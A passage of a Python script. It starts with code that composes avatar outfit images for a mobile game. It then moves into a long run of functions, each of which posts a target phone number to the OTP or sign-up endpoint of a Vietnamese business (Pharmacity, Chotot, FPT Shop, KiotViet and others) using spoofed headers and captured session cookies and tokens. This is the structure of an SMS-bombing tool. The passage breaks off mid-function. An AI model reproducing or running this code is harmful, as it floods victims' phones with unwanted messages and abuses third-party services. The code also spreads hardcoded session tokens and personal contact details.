		hairIcon = load_image_from_url(baseUrl + "Icon_avatar_default_Hair.png")

	hairIcon = ImageOps.mirror(hairIcon)
	outfitForm.paste(hairIcon, (252, 90), hairIcon)


	maskIcon = load_image_from_url(baseUrl + maskIcon + ".png")
	if not maskIcon:
		maskIcon = load_image_from_url(baseUrl + "Icon_avatar_default_Face.png")

	maskIcon = ImageOps.mirror(maskIcon)
	outfitForm.paste(maskIcon, (97, 230), maskIcon)


	faceIcon = load_image_from_url(baseUrl + faceIcon + ".png")
	if not faceIcon:
		faceIcon = load_image_from_url(baseUrl + "Icon_avatar_default_headadditive.png")

	faceIcon = ImageOps.mirror(faceIcon)
	outfitForm.paste(faceIcon, (97, 430), faceIcon)


	shirtIcon = load_image_from_url(baseUrl + shirtIcon + ".png")
	if not shirtIcon:
		shirtIcon = load_image_from_url(baseUrl + "Icon_avatar_cos_top_default.png")

	shirtIcon = ImageOps.mirror(shirtIcon)
	shirtIcon = shirtIcon.resize((102, 102))
	outfitForm.paste(shirtIcon, (918, 94), shirtIcon)

	pantsIcon = load_image_from_url(baseUrl + pantsIcon + ".png")
	if not pantsIcon:
		pantsIcon = load_image_from_url(baseUrl + "Icon_avatar_cos_bottom_default.png")

	pantsIcon = ImageOps.mirror(pantsIcon)
	pantsIcon = pantsIcon.resize((102, 102))
	outfitForm.paste(pantsIcon, (1075, 232), pantsIcon)

	shoesIcon = load_image_from_url(baseUrl + shoesIcon + ".png")
	if not shoesIcon:
		shoesIcon = load_image_from_url(baseUrl + "Icon_avatar_cos_shoe_default.png")

	shoesIcon = ImageOps.mirror(shoesIcon)
	shoesIcon = shoesIcon.resize((102, 102))
	outfitForm.paste(shoesIcon, (1074, 432), shoesIcon)

	if not weaponId:
		weaponIcon = Image.open("./assets/Images/FF_icon_gun_default.png")
		weaponIcon = ImageOps.mirror(weaponIcon)
		weaponIcon = weaponIcon.resize((74, 74))
		weaponIcon = weaponIcon.rotate(20, expand=True)
		outfitForm.paste(weaponIcon, (252, 583), weaponIcon)

	else:
		weaponIcon = next((item["Icon_Name"] for item in itemsId if item["Item_ID"] == str(weaponId)), "Undefined")
		weaponIcon = load_image_from_url(baseUrl + weaponIcon + ".png")
		if not weaponIcon:
			weaponIcon = Image.open("./assets/Images/FF_icon_gun_default.png")
			weaponIcon = ImageOps.mirror(weaponIcon)
			weaponIcon = weaponIcon.resize((74, 74))
			weaponIcon = weaponIcon.rotate(20, expand=True)
			outfitForm.paste(weaponIcon, (252, 583), weaponIcon)

		else:
			weaponIcon = ImageOps.mirror(weaponIcon)
			w, h = weaponIcon.size

			if str(weaponId).startswith("90719"):
				weaponIcon = weaponIcon.resize((w - 128, h - 34))
				weaponIcon = weaponIcon.rotate(34, expand=True)
				outfitForm.paste(weaponIcon, (218, 550), weaponIcon)

			else:
				weaponIcon = weaponIcon.resize((w - 160, h - 44))
				weaponIcon = weaponIcon.rotate(29, expand=True)
				outfitForm.paste(weaponIcon, (234, 580), weaponIcon)


	if not animationId:
		animationIcon = load_image_from_url(baseUrl + "FF_UI_Emote_Collection_BAN.png")
		animationIcon = animationIcon.resize((68, 68))
		outfitForm.paste(animationIcon, (934, 596), animationIcon)

	else:
		animationIcon = next((item["Icon_Name"] for item in itemsId if item["Item_ID"] == str(animationId)), "Undefined")
		animationIcon = load_image_from_url(baseUrl + animationIcon + ".png")
		if not animationIcon:
			animationIcon = load_image_from_url(baseUrl + "FF_UI_Emote_Collection_BAN.png")
			animationIcon = animationIcon.resize((68, 68))
			outfitForm.paste(animationIcon, (934, 596), animationIcon)

		else:
			animationIcon = animationIcon.resize((92, 92))
			animationIcon = ImageOps.mirror(animationIcon)
			outfitForm.paste(animationIcon, (924, 592), animationIcon)


	if bundleIcon:
		bundleIcon = load_image_from_url(baseUrl + bundleIcon + ".png")
		if bundleIcon:
			bundleIcon = ImageOps.mirror(bundleIcon)
			bundleIcon = bundleIcon.resize((102, 102))
			outfitForm.paste(bundleIcon, (1074, 583), bundleIcon)


	return outfitForm


def formatTime(timestamp):
	try:
		timestamp = int(timestamp)
	except:
		timestamp = 0

	if not timestamp:
		return "Undefined"

	utc_time = datetime.datetime.utcfromtimestamp(timestamp)
	vietnam_tz = pytz.timezone("Asia/Ho_Chi_Minh")
	vietnam_time = utc_time.astimezone(vietnam_tz)
	formatted_time = vietnam_time.strftime("%d/%m/%Y %H:%M")

	return formatted_time

def cashbar(sdt):
	headers = {
		'Host': 'api.cashbar.tech',
		# 'content-length': '73',
		'accept': 'application/json, text/plain, */*',
		'user-agent': 'Mozilla/5.0 (Linux; Android 8.1.0; Redmi 5A Build/OPM1.171019.026) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.130 Mobile Safari/537.36',
		'content-type': 'application/x-www-form-urlencoded',
		'origin': 'https://h5.cashbar.work',
		'x-requested-with': 'mark.via.gp',
		'sec-fetch-site': 'cross-site',
		'sec-fetch-mode': 'cors',
		'sec-fetch-dest': 'empty',
		'referer': 'https://h5.cashbar.work/',
		# 'accept-encoding': 'gzip, deflate, br',
		'accept-language': 'vi-VN,vi;q=0.9,en-US;q=0.8,en;q=0.7',
	}
	data = {
		'phone': f'{sdt}',
		'type': '2',
		'ctype': '1',
		'chntoken': '7f38e65de6b47136eaa373feade6cd33',
	}
	response = requests.post('https://api.cashbar.tech/h5/LoginMessage_ultimate', headers=headers, data=data)
def chotot(sdt):
	headers = {
		'Host': 'gateway.chotot.com',
		# 'content-length': '22',
		'user-agent': 'Mozilla/5.0 (Linux; Android 8.1.0; Redmi 5A Build/OPM1.171019.026) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.130 Mobile Safari/537.36',
		'content-type': 'application/json',
		'accept': '*/*',
		'origin': 'https://id.chotot.com',
		'x-requested-with': 'mark.via.gp',
		'sec-fetch-site': 'same-site',
		'sec-fetch-mode': 'cors',
		'sec-fetch-dest': 'empty',
		'referer': 'https://id.chotot.com/',
		# 'accept-encoding': 'gzip, deflate, br',
		'accept-language': 'vi-VN,vi;q=0.9,en-US;q=0.8,en;q=0.7',

	}
	data = '{"phone":"sdt"}'.replace("sdt",sdt)
	response = requests.post('https://gateway.chotot.com/v2/public/auth/send_otp_verify', headers=headers, data=data)
def pizzacompany(sdt):
	cookies = {
		'_gcl_au': '1.1.607819339.1691276885',
		'_ga': 'GA1.2.453948248.1691276886',
		'_gid': 'GA1.2.698696022.1691276886',
		'_tt_enable_cookie': '1',
		'_ttp': 'bwCYo8Ir1_CxxhKbysJDt5JtlQ7',
		'_fbp': 'fb.1.1691276888170.1960321660',
		'.Nop.Antiforgery': 'CfDJ8Cl_WAA5AJ9Ml4vmCZFOjMdBq9So1BpAShECqnbe4x79hVD-kSPUOvSsZXdlopovNftYPw0l618PP3jBxWlS6DrW8ZwRFgYyfMxRk4LVDYk1oqhci4h4z6nxsio4sRCpVfQ5PDeD_cOZBqbvNqQrfl8',
		'.Nop.Customer': 'ccaefc12-aefb-4b4d-8b87-776f2ee9af1f',
		'.Nop.TempData': 'CfDJ8Cl_WAA5AJ9Ml4vmCZFOjMdhAs4Uj_AWcS9nus5bsNq7oJeUYXskCpd7NOOmUhHC6O5SoOmOuoB3SPldKVFXv1Vb_1P3Dt9jKaGFxsnoiu6YyCICvW4HiUNIz8FLPxXRz1gRZofRDec2--_PkEYAHM914UlVbGNyajdpimnWw70-wpCHoT5hmruwLhFMTe_qew',
	}
	headers = {
		'Host': 'thepizzacompany.vn',
		# 'content-length': '199',
		'accept': '*/*',
		'x-requested-with': 'XMLHttpRequest',
		'user-agent': 'Mozilla/5.0 (Linux; Android 8.1.0; Redmi 5A Build/OPM1.171019.026) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.130 Mobile Safari/537.36',
		'content-type': 'application/x-www-form-urlencoded; charset=UTF-8',
		'origin': 'https://thepizzacompany.vn',
		'sec-fetch-site': 'same-origin',
		'sec-fetch-mode': 'cors',
		'sec-fetch-dest': 'empty',
		'referer': 'https://thepizzacompany.vn/Otp',
		# 'accept-encoding': 'gzip, deflate, br',
		'accept-language': 'vi-VN,vi;q=0.9,en-US;q=0.8,en;q=0.7',
		# 'cookie': '_gcl_au=1.1.607819339.1691276885; _ga=GA1.2.453948248.1691276886; _gid=GA1.2.698696022.1691276886; _tt_enable_cookie=1; _ttp=bwCYo8Ir1_CxxhKbysJDt5JtlQ7; _fbp=fb.1.1691276888170.1960321660; .Nop.Antiforgery=CfDJ8Cl_WAA5AJ9Ml4vmCZFOjMdBq9So1BpAShECqnbe4x79hVD-kSPUOvSsZXdlopovNftYPw0l618PP3jBxWlS6DrW8ZwRFgYyfMxRk4LVDYk1oqhci4h4z6nxsio4sRCpVfQ5PDeD_cOZBqbvNqQrfl8; .Nop.Customer=ccaefc12-aefb-4b4d-8b87-776f2ee9af1f; .Nop.TempData=CfDJ8Cl_WAA5AJ9Ml4vmCZFOjMdhAs4Uj_AWcS9nus5bsNq7oJeUYXskCpd7NOOmUhHC6O5SoOmOuoB3SPldKVFXv1Vb_1P3Dt9jKaGFxsnoiu6YyCICvW4HiUNIz8FLPxXRz1gRZofRDec2--_PkEYAHM914UlVbGNyajdpimnWw70-wpCHoT5hmruwLhFMTe_qew',
	}
	data = {
		'phone': f'{sdt}',
		'__RequestVerificationToken': 'CfDJ8Cl_WAA5AJ9Ml4vmCZFOjMfbQwvToQkkGuj4TN2sRcEQ1WYLq8FZcCaAf8P9JHU46UhpBthj5H4JH3oJjwi0hx_zMAPEMRGPK6X6QnCzHwfMW_RhUnFUsBEDrss3f32LBDTUcbq9dohqqQZr2VFE9Ns',
	}
	response = requests.post('https://thepizzacompany.vn/customer/ResendOtp', cookies=cookies, headers=headers, data=data)
def onecredit(sdt):
	cookies = {
		'SN5c8116d5e6183': 'vd0peh2340qie49h8hksc6mktb',
		'OnCredit_id': '64cc576f3fcca5.61640209',
		'fp_token_7c6a6574-f011-4c9a-abdd-9894a102ccef': '1eoY0fSNX4knqqaR+yewjR0dHrPCV8i0u+EA2ZEdAag=',
		'_fbp': 'fb.1.1691113338133.1121666643',
		'GN_USER_ID_KEY': '1b7eaaea-150b-4d8d-8250-69d546c1c1cb',
		'_ga_462Z3ZX24C': 'GS1.1.1691244602.2.1.1691244602.60.0.0',
		'_ga': 'GA1.2.148691698.1691113336',
		'_gid': 'GA1.2.1794411839.1691244604',
		'_gat_UA-139625802-1': '1',
		'GN_SESSION_ID_KEY': '43953d57-7d12-402f-ae07-ad1786e8ca8b',
		'_ga_4RZFMB042P': 'GS1.2.1691244607.2.0.1691244607.60.0.0',
	}
	headers = {
		'Host': 'oncredit.vn',
		# 'content-length': '231',
		'accept': 'application/json, text/javascript, */*; q=0.01',
		'x-requested-with': 'XMLHttpRequest',
		'user-agent': 'Mozilla/5.0 (Linux; Android 8.1.0; Redmi 5A Build/OPM1.171019.026) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.130 Mobile Safari/537.36',
		'content-type': 'application/x-www-form-urlencoded; charset=UTF-8',
		'origin': 'https://oncredit.vn',
		'sec-fetch-site': 'same-origin',
		'sec-fetch-mode': 'cors',
		'sec-fetch-dest': 'empty',
		'referer': 'https://oncredit.vn/registration',
		# 'accept-encoding': 'gzip, deflate, br',
		'accept-language': 'vi-VN,vi;q=0.9,en-US;q=0.8,en;q=0.7',
		# 'cookie': 'SN5c8116d5e6183=vd0peh2340qie49h8hksc6mktb; OnCredit_id=64cc576f3fcca5.61640209; fp_token_7c6a6574-f011-4c9a-abdd-9894a102ccef=1eoY0fSNX4knqqaR+yewjR0dHrPCV8i0u+EA2ZEdAag=; _fbp=fb.1.1691113338133.1121666643; GN_USER_ID_KEY=1b7eaaea-150b-4d8d-8250-69d546c1c1cb; _ga_462Z3ZX24C=GS1.1.1691244602.2.1.1691244602.60.0.0; _ga=GA1.2.148691698.1691113336; _gid=GA1.2.1794411839.1691244604; _gat_UA-139625802-1=1; GN_SESSION_ID_KEY=43953d57-7d12-402f-ae07-ad1786e8ca8b; _ga_4RZFMB042P=GS1.2.1691244607.2.0.1691244607.60.0.0',
	} 
	params = {
		'ajax': '',
	}
	data = {
		'data[typeData]': 'sendCodeReg',
		'data[phone]': f'{sdt}',
		'data[email]': 'kdish12@gmail.com',
		'data[captcha1]': '1',
		'data[lang]': 'vi',
		'CSRFName': 'CSRFGuard_ajax',
		'CSRFToken': '59sZQFn8SF73FiA6bifZRTdRE2Eand5G77e93NDzfiKiRSH3Tbhe4tSdB3yHD2sf',
	}
	response = requests.post('https://oncredit.vn/', params=params, cookies=cookies, headers=headers, data=data)
def concung(sdt):
	cookies = {
		'PHPSESSID': 'ij419v9ov5ug09ui6t5v6hul56',
		'6f1eb01ca7fb61e4f6882c1dc816f22d': 'T%2FEqzjRRd5g%3DBpy7szeD03E%3DXv5zU4fvoPk%3DptVtroTCTyo%3DH9DwywDLCIw%3Da7NDiPDjkp8%3DBMNH2%2FPz1Ww%3DjFPr4PEbB58%3DD94ivb5Cw3c%3Dr1OchLBIGPo%3Dc7XLOffW%2BH0%3Dc7gCysNyQxY%3DCNgWpQ5YeKY%3DD7U33jY70Ks%3D',
		'__utmc': '65249340',
		'__utmz': '65249340.1691112234.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=(not%20provided)',
		'_ga': 'GA1.1.1576173301.1691112237',
		'_gcl_au': '1.1.601691012.1691112237',
		'_fbp': 'fb.1.1691112237077.759562086',
		'_tt_enable_cookie': '1',
		'_ttp': 'JyO6InY4cht34vkn0PUDBvJMCx5',
		'__utma': '65249340.412064474.1691112234.1691112234.1691138671.2',
		'__utmt': '1',
		'Srv': 'cc205|ZMy49|ZMy4w',
		'__utmb': '65249340.3.10.1691138671',
		'_ga_DFG3FWNPBM': 'GS1.1.1691138672.2.1.1691138724.8.0.0',
		'_ga_BBD6001M29': 'GS1.1.1691138674.2.1.1691138726.8.0.0',
	}
	headers = {
		'Host': 'concung.com',
		# 'content-length': '167',
		'accept': '*/*',
		'x-requested-with': 'XMLHttpRequest',
		'user-agent': 'Mozilla/5.0 (Linux; Android 8.1.0; Redmi 5A Build/OPM1.171019.026) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.130 Mobile Safari/537.36',
		'content-type': 'application/x-www-form-urlencoded; charset=UTF-8',
		'origin': 'https://concung.com',
		'sec-fetch-site': 'same-origin',
		'sec-fetch-mode': 'cors',
		'sec-fetch-dest': 'empty',
		'referer': 'https://concung.com/dang-nhap.html',
		'accept-encoding': 'gzip, deflate, br',
		'accept-language': 'vi-VN,vi;q=0.9,en-US;q=0.8,en;q=0.7',
		# 'cookie': 'PHPSESSID=ij419v9ov5ug09ui6t5v6hul56; 6f1eb01ca7fb61e4f6882c1dc816f22d=T%2FEqzjRRd5g%3DBpy7szeD03E%3DXv5zU4fvoPk%3DptVtroTCTyo%3DH9DwywDLCIw%3Da7NDiPDjkp8%3DBMNH2%2FPz1Ww%3DjFPr4PEbB58%3DD94ivb5Cw3c%3Dr1OchLBIGPo%3Dc7XLOffW%2BH0%3Dc7gCysNyQxY%3DCNgWpQ5YeKY%3DD7U33jY70Ks%3D; __utmc=65249340; __utmz=65249340.1691112234.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=(not%20provided); _ga=GA1.1.1576173301.1691112237; _gcl_au=1.1.601691012.1691112237; _fbp=fb.1.1691112237077.759562086; _tt_enable_cookie=1; _ttp=JyO6InY4cht34vkn0PUDBvJMCx5; __utma=65249340.412064474.1691112234.1691112234.1691138671.2; __utmt=1; Srv=cc205|ZMy49|ZMy4w; __utmb=65249340.3.10.1691138671; _ga_DFG3FWNPBM=GS1.1.1691138672.2.1.1691138724.8.0.0; _ga_BBD6001M29=GS1.1.1691138674.2.1.1691138726.8.0.0',
	}
	data = {
		'ajax': '1',
		'classAjax': 'AjaxLogin',
		'methodAjax': 'sendOtpLogin',
		'customer_phone': f'{sdt}',
		'id_customer': '1',
		'static_token': 'e633865a31fa27f35b8499e1a75b0a76',
		'momoapp': '0',
		'back': 'khach-hang.html',
	}
	response = requests.post('https://concung.com/ajax.html',cookies=cookies, headers=headers,data=data)
def y360(sdt):
	headers = {
		'Host': 'y360.vn',
		# 'content-length': '22',
		'accept': 'application/json',
		'user-agent': 'Mozilla/5.0 (Linux; Android 8.1.0; Redmi 5A Build/OPM1.171019.026) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.130 Mobile Safari/537.36',
		'content-type': 'application/json',
		'origin': 'https://y360.vn',
		'x-requested-with': 'mark.via.gp',
		'sec-fetch-site': 'same-origin',
		'sec-fetch-mode': 'cors',
		'sec-fetch-dest': 'empty',
		'referer': 'https://y360.vn/hoc/register',
		'accept-encoding': 'gzip, deflate, br',
		'accept-language': 'vi-VN,vi;q=0.9,en-US;q=0.8,en;q=0.7',
		# 'cookie': '_gcl_au=1.1.977893193.1691134633; _gid=GA1.2.1747107574.1691134633; _gat_gtag_UA_211029013_1=1; _fbp=fb.1.1691134636760.1633963715; _ga=GA1.1.329512893.1691134633; _ga_M7ZN50PQ1V=GS1.1.1691134632.1.1.1691134646.0.0.0; _ga_BS2V9QEV6V=GS1.1.1691134633.1.1.1691134667.0.0.0',
		}
	data = '{"phone":"sdt"}'.replace("sdt",sdt)
	response = requests.post('https://y360.vn/api/v1/user/register', data=data, headers=headers)
	global valuey360
	valuey360 = response['errors']
def y360rs(sdt):
	headers = {
		'Host': 'y360.vn',
		# 'content-length': '689',
		'accept': 'application/json',
		'user-agent': 'Mozilla/5.0 (Linux; Android 8.1.0; Redmi 5A Build/OPM1.171019.026) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.130 Mobile Safari/537.36',
		'content-type': 'application/json',
		'origin': 'https://y360.vn',
		'x-requested-with': 'mark.via.gp',
		'sec-fetch-site': 'same-origin',
		'sec-fetch-mode': 'cors',
		'sec-fetch-dest': 'empty',
		'referer': 'https://y360.vn/hoc/register/code-verify/dbde2f96-3299-11ee-a400-0242ac150006',
		'accept-encoding': 'gzip, deflate, br',
		'accept-language': 'vi-VN,vi;q=0.9,en-US;q=0.8,en;q=0.7',
		# 'cookie': '_gcl_au=1.1.977893193.1691134633; _gid=GA1.2.1747107574.1691134633; _fbp=fb.1.1691134636760.1633963715; _gat_gtag_UA_211029013_1=1; _ga_M7ZN50PQ1V=GS1.1.1691134632.1.1.1691135104.0.0.0; _ga=GA1.1.329512893.1691134633; _ga_BS2V9QEV6V=GS1.1.1691134633.1.1.1691135122.0.0.0',
	}
	data = valuey360.encode()
	response = requests.post('https://y360.vn/api/v1/user/resendCode', data=data, headers=headers)
def phamacy(sdt):
	headers = {
		'Host': 'api-gateway.pharmacity.vn',
		# 'content-length': '36',
		'user-agent': 'Mozilla/5.0 (Linux; Android 8.1.0; Redmi 5A Build/OPM1.171019.026) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.130 Mobile Safari/537.36',
		'content-type': 'application/json',
		'accept': '*/*',
		'origin': 'https://www.pharmacity.vn',
		'x-requested-with': 'mark.via.gp',
		'sec-fetch-site': 'same-site',
		'sec-fetch-mode': 'cors',
		'sec-fetch-dest': 'empty',
		'referer': 'https://www.pharmacity.vn/',
		'accept-encoding': 'gzip, deflate, br',
		'accept-language': 'vi-VN,vi;q=0.9,en-US;q=0.8,en;q=0.7',
	}
	data = '{"phone":"sdt","referral":""}'.replace("sdt",sdt)
	response = requests.post('https://api-gateway.pharmacity.vn/customers/register/otp', data=data,headers=headers)
def vayvnd(sdt):
	data = '{"phone":"sdt","utm":[{"utm_source":"google","utm_medium":"organic","referrer":"https://www.google.com/"}],"sourceSite":3}'.replace("sdt",sdt)
	head = {
		"Host":"api.vayvnd.vn",
		"accept":"application/json",
		"accept-language":"vi-VN",
		"user-agent":"Mozilla/5.0 (Linux; Android 8.1.0; Redmi 5A Build/OPM1.171019.026) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.130 Mobile Safari/537.36",
		"site-id":"3",
		"content-type":"application/json; charset=utf-8",
		"origin":"https://vayvnd.vn",
		"x-requested-with":"mark.via.gp",
		"sec-fetch-site":"same-site",
		"sec-fetch-mode":"cors",
		"sec-fetch-dest":"empty",
		"referer":"https://vayvnd.vn/",
		"accept-encoding":"gzip, deflate, br",
	}
	rq = requests.post("https://api.vayvnd.vn/v2/users",data=data,headers=head)
def tamo(sdt):
	data = '{"mobilePhone":{"number":"sdt"}}'.replace("sdt",sdt)
	head = {
		"Host":"api.tamo.vn",
		"accept":"application/json, text/plain, */*",
		"user-agent":"Mozilla/5.0 (Linux; Android 8.1.0; Redmi 5A Build/OPM1.171019.026) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.130 Mobile Safari/537.36",
		"content-type":"application/json;charset=UTF-8",
		"origin":"https://www.tamo.vn",
		"x-requested-with":"mark.via.gp",
		"sec-fetch-site":"same-site",
		"sec-fetch-mode":"cors",
		"sec-fetch-dest":"empty",
		"referer":"https://www.tamo.vn/",
		"accept-encoding":"gzip, deflate, br",
		"accept-language":"vi-VN,vi;q=0.9,en-US;q=0.8,en;q=0.7",
	}
	rq = requests.post("https://api.tamo.vn/web/public/client/phone/sms-code-ts",data=data,headers=head)
def meta(sdt):
	data = '{"api_args":{"lgUser":"sdt","act":"send","type":"phone"},"api_method":"CheckExist"}'.replace("sdt",sdt)
	head = {
		"Host":"meta.vn",
		"accept":"application/json, text/plain, */*",
		"user-agent":"Mozilla/5.0 (Linux; Android 8.1.0; Redmi 5A Build/OPM1.171019.026) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.130 Mobile Safari/537.36",
		"content-type":"application/json",
		"origin":"https://meta.vn",
		"x-requested-with":"mark.via.gp",
		"sec-fetch-site":"same-origin",
		"sec-fetch-mode":"cors",
		"sec-fetch-dest":"empty",
		"referer":"https://meta.vn/account/register",
		"accept-encoding":"gzip, deflate, br",
		"accept-language":"vi-VN,vi;q=0.9,en-US;q=0.8,en;q=0.7",
	}
	rq = requests.post("https://meta.vn/app_scripts/pages/AccountReact.aspx?api_mode=1",data=data,headers=head).text
def shopiness(sdt):
	cookies = {
		'_gcl_au': '1.1.713290776.1691278322',
		'_gid': 'GA1.2.538313268.1691278323',
		'_gat_UA-78703708-2': '1',
		'_ga': 'GA1.1.1304515259.1691278323',
		'_fbp': 'fb.1.1691278324147.1207721038',
		'_ga_P138SCK22P': 'GS1.1.1691278323.1.1.1691278362.21.0.0',
	}
	headers = {
		'Host': 'shopiness.vn',
		'Connection': 'keep-alive',
		# 'Content-Length': '63',
		'Accept': '*/*',
		'X-Requested-With': 'XMLHttpRequest',
		'User-Agent': 'Mozilla/5.0 (Linux; Android 8.1.0; Redmi 5A Build/OPM1.171019.026) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.130 Mobile Safari/537.36',
		'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',
		'Origin': 'https://shopiness.vn',
		'Sec-Fetch-Site': 'same-origin',
		'Sec-Fetch-Mode': 'cors',
		'Sec-Fetch-Dest': 'empty',
		'Referer': 'https://shopiness.vn/khuyen-mai/pizza-hut-mua-1-tang-1-khi-giao-hang-tan-noi.80C793B3FC.html',
		# 'Accept-Encoding': 'gzip, deflate, br',
		'Accept-Language': 'vi-VN,vi;q=0.9,en-US;q=0.8,en;q=0.7',
		# 'Cookie': '_gcl_au=1.1.713290776.1691278322; _gid=GA1.2.538313268.1691278323; _gat_UA-78703708-2=1; _ga=GA1.1.1304515259.1691278323; _fbp=fb.1.1691278324147.1207721038; _ga_P138SCK22P=GS1.1.1691278323.1.1.1691278362.21.0.0',
	}
	data = {
		'action': 'verify-registration-info',
		'phoneNumber': f'{sdt}',
		'refCode': '',
	}
	response = requests.post('https://shopiness.vn/ajax/user', cookies=cookies, headers=headers, data=data)
def kiot(phone):
	cookies = {
		'AKA_A2': 'A',
		'gkvas-uuid': 'b1b6bfdd-724e-449f-8acc-f3594f1aae3f',
		'gkvas-uuid-d': '1687347271111',
		'kvas-uuid': '1fdbe87b-fe8b-4cd5-b065-0900b3db04b6',
		'kvas-uuid-d': '1687347276471',
		'kv-session': '52268693-9db7-4b7d-ab00-0f5022612bc5',
		'kv-session-d': '1687347276474',
		'_fbp': 'fb.1.1687347277057.810313564',
		'_hjFirstSeen': '1',
		'_hjIncludedInSessionSample_563959': '1',
		'_hjSession_563959': 'eyJpZCI6IjI0OTRjOTA0LTEwYzQtNGVkMS04MGViLWFhZWRjZTg5Y2FmMSIsImNyZWF0ZWQiOjE2ODczNDcyNzcxNTYsImluU2FtcGxlIjp0cnVlfQ==',
		'_hjAbsoluteSessionInProgress': '1',
		'_tt_enable_cookie': '1',
		'_ttp': 'idt42AWvO5FQ_0j25HtJ7BSoA7J',
		'_gid': 'GA1.2.1225607496.1687347277',
		'_hjSessionUser_563959': 'eyJpZCI6ImRiOGYyMzEzLTdkMzItNTNmNi1hNWUzLTA4MjU5ZTE1MTRiOCIsImNyZWF0ZWQiOjE2ODczNDcyNzcxMzIsImV4aXN0aW5nIjp0cnVlfQ==',
		'_ga_6HE3N545ZW': 'GS1.1.1687347278.1.1.1687347282.56.0.0',
		'_ga_N9QLKLC70S': 'GS1.2.1687347283.1.1.1687347283.0.0.0',
		'_fw_crm_v': '4c8714f2-5161-4721-c213-fe417c49ae65',
		'parent': '65',
		'_ga': 'GA1.2.1568204857.1687347277',
	}

	headers = {
		'authority': 'www.kiotviet.vn',
		'accept': 'application/json, text/javascript, */*; q=0.01',
		'accept-language': 'vi-VN,vi;q=0.9,fr-FR;q=0.8,fr;q=0.7,en-US;q=0.6,en;q=0.5',
		'content-type': 'application/x-www-form-urlencoded; charset=UTF-8',
		# 'cookie': 'AKA_A2=A; gkvas-uuid=b1b6bfdd-724e-449f-8acc-f3594f1aae3f; gkvas-uuid-d=1687347271111; kvas-uuid=1fdbe87b-fe8b-4cd5-b065-0900b3db04b6; kvas-uuid-d=1687347276471; kv-session=52268693-9db7-4b7d-ab00-0f5022612bc5; kv-session-d=1687347276474; _fbp=fb.1.1687347277057.810313564; _hjFirstSeen=1; _hjIncludedInSessionSample_563959=1; _hjSession_563959=eyJpZCI6IjI0OTRjOTA0LTEwYzQtNGVkMS04MGViLWFhZWRjZTg5Y2FmMSIsImNyZWF0ZWQiOjE2ODczNDcyNzcxNTYsImluU2FtcGxlIjp0cnVlfQ==; _hjAbsoluteSessionInProgress=1; _tt_enable_cookie=1; _ttp=idt42AWvO5FQ_0j25HtJ7BSoA7J; _gid=GA1.2.1225607496.1687347277; _hjSessionUser_563959=eyJpZCI6ImRiOGYyMzEzLTdkMzItNTNmNi1hNWUzLTA4MjU5ZTE1MTRiOCIsImNyZWF0ZWQiOjE2ODczNDcyNzcxMzIsImV4aXN0aW5nIjp0cnVlfQ==; _ga_6HE3N545ZW=GS1.1.1687347278.1.1.1687347282.56.0.0; _ga_N9QLKLC70S=GS1.2.1687347283.1.1.1687347283.0.0.0; _fw_crm_v=4c8714f2-5161-4721-c213-fe417c49ae65; parent=65; _ga=GA1.2.1568204857.1687347277',
		'origin': 'https://www.kiotviet.vn',
		'referer': 'https://www.kiotviet.vn/dang-ky/',
		'sec-ch-ua': '"Not_A Brand";v="99", "Google Chrome";v="109", "Chromium";v="109"',
		'sec-ch-ua-mobile': '?0',
		'sec-ch-ua-platform': '"Windows"',
		'sec-fetch-dest': 'empty',
		'sec-fetch-mode': 'cors',
		'sec-fetch-site': 'same-origin',
		'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36',
		'x-requested-with': 'XMLHttpRequest',
	}

	data = {
		'phone': '+84'+phone[1:],
		'code': 'bancainayne',
		'name': 'Cai Nit',
		'email': 'ahihi123982@gmail.com',
		'zone': 'An Giang - Huyện Châu Phú',
		'merchant': 'bancainayne',
		'username': '0972936627',
		'industry': 'Điện thoại & Điện máy',
		'ref_code': '',
		'industry_id': '65',
		'phone_input': "0338607465",
	}

	response = requests.post(
		'https://www.kiotviet.vn/wp-content/themes/kiotviet/TechAPI/getOTP.php',
		cookies=cookies,
		headers=headers,
		data=data,
	).text
def fpt(phone):
	requests.post("https://fptshop.com.vn/api-data/loyalty/Home/Verification", headers={"Host": "fptshop.com.vn","content-length": "16","accept": "*/*","content-type": "application/x-www-form-urlencoded; charset\u003dUTF-8","x-requested-with": "XMLHttpRequest","sec-ch-ua-mobile": "?1","user-agent": "Mozilla/5.0 (Linux; Android 8.1.0; CPH1805) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Mobile Safari/537.36","sec-ch-ua-platform": "\"Linux\"","origin": "https://fptshop.com.vn","sec-fetch-site": "same-origin","sec-fetch-mode": "cors","sec-fetch-dest": "empty","referer": "https://fptshop.com.vn/","accept-encoding": "gzip, deflate, br"}, data={"phone":phone}).text
def alfrescos(sdt):
	data = '{"phoneNumber":"sdt","secureHash":"33f65da1c264ef7f519149065a600def","deviceId":"","sendTime":1691068424578,"type":2}'.replace("sdt",sdt)
	head = {
		"Host":"api.alfrescos.com.vn",
		"accept":"application/json, text/plain, */*",
		"brandcode":"ALFRESCOS",
		"devicecode":"web",
		"accept-language":"vi-VN",
		"user-agent":"Mozilla/5.0 (Linux; Android 8.1.0; Redmi 5A Build/OPM1.171019.026) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.130 Mobile Safari/537.36",
		"content-type":"application/json",
		"origin":"https://alfrescos.com.vn",
		"x-requested-with":"mark.via.gp",
		"sec-fetch-site":"same-site",
		"sec-fetch-mode":"cors",
		"sec-fetch-dest":"empty",
		"referer":"https://alfrescos.com.vn/",
